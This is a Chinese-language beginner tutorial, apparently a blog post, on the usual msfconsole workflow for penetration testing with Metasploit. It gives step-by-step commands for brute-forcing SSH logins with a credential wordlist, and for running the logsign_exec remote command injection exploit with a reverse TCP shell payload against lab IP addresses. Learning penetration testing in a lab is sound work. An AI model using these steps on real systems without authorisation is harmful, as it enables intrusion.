Metasploit进行渗透测试的常用流程【入门】

  Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它具有图形化界面和命令行界面,这里讲的是msfconsole惯用的操作流程。本章使用的metasploit v5.0.2-dev版本,所以进入到msfconsole时,前缀是"msf5>",kali系统可以通过界面化启动metasploit,通过命令行启动服务,执行命令,metasploit依赖postgresql数据库:

service postgresql start #启动postgresql服务
service metasploit start #启动metasploit服务

   第一步,search 模块名

    在进行攻击之前,搜集了足够多的信息,如果没有搜集足够的信息,想通过metasploit的辅助模块来搜集相关系统的信息。可以在msfconsole的命令行输入你想搜集的信息。或者查看所有辅助模块。可以执行命令,这里使用了-S 参数:

msf5>search -S auxiliary auxiliary

第二步,use 模块名

    查找到相关模块后,选择所需模块。这里以auxiliary/scanner/ssh/ssh_login为例,该模块功能是"ssh登录检查扫描",执行命令是:

msf5>use auxiliary/scanner/ssh/ssh_login

第三步,info

    查找使用模块的信息的信息,这里使用第二步加载的模块:

msf5 auxiliary(scanner/ssh/ssh_login)>info

   会显示模块的一下描述信息及基本参数信息。

第四步,show payloads

    显示该模块可以使用的攻击载荷,如果是scanner时不需要使用(如果执行该命令,显示的所有可用的攻击载荷),,如果是exploit可以使用该命令查看可以使用的攻击载荷。例如选择攻击模块为“exploit/linux/http/logsign_exec”,该模块是“loginsign远程命令注入”,执行命令如下:

msf5 exploit(linux/http/logsign_exec)>show payloads

会显示该攻击模块可以使用的攻击载荷。

第五步,set payload 攻击载荷

    按照第四步选择的那个攻击模块“exploit/linux/http/logsign_exec”,从攻击载荷中选择一个攻击载荷,例如选择“generic/shell_reverse_tcp”这个攻击载荷,该载荷的功能是“通用的shell命令,反射TCP连接”,操作命令是:

msf5 exploit(linux/http/logsign_exec)>set payload generic/shell_reverse_tcp

设置成功,会在命令行提示“payload=>generic/shell_reverse_tcp”。

第六步,show targets

    查看攻击目标信息。

show targets

第七步,show options/advance

    show options查看攻击和负载模块的基本配置参数。show advanced查看攻击和负载模块的高级配置参数。执行命令如下:

msf5 exploit(linux/http/logsign_exec) show options
msf5 exploit(linux/http/logsign_exec) show advanced

第八步,set name

    设置攻击与载荷模块的配置参数。这里只设置要攻击的目标地址IP“RHOSTS”,载荷的本地地址IP“LHOST”,其他使用默认值。

msf5 exploit(linux/http/logsign_exec)>set RHOST 192.168.88.138
msf5 exploit(linux/http/logsign_exec)>set LHOST 192.168.88.132

设置成功后在命令行显示:“RHOSTS => 192.168.88.138、LHOSTS => 192.168.88.132”

     如果是辅助扫描模块。这里设置使用的目标地址IP“RHOSTS USERPASS_FILE ” :

msf5 auxiliary(scanner/ssh/ssh_login)>set RHOSTS 192.168.88.137
msf5 auxiliary(scanner/ssh/ssh_login)>set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt

   

第九步,exploit/run

    参数设置完毕。执行攻击命令进行攻击。如果是scanner模块,可以跳过“第三、四、五、六”步,执行第七步参数配置后,执行run命令进行扫描。如果是‘auxiliary/scanner/ssh/ssh_login’执行命令:

msf5 auxiliary(scanner/ssh/ssh_login)>run

如果是“exploit/linux/http/logsign_exec”执行命令:

msf5 exploit(linux/http/logsign_exec)> exploit

第十步,session -l

    列出所有可用的交互会话以及详细信息。   

msf5 exploit(linux/http/logsign_exec)>session -l

第十一步,session -i Id

    通过指定Id,进入指定会话。例如进入会话的Id为2,执行命令是:

msf5 exploit(linux/http/logsign_exec) >session -i 2

  进入当前活动会话,可以进行一些shell命令的操作。

总结

    通过上述一些操作流程,能进行简单的攻击学习。该流程适合入门,可以培养安全测试的兴趣。孰能生巧,该流程比较多,可能熟练之后,这么多步,可能只需要五步,如果有问题可以加入群讨论。

 

你可能感兴趣的:(安全渗透测试学习笔记)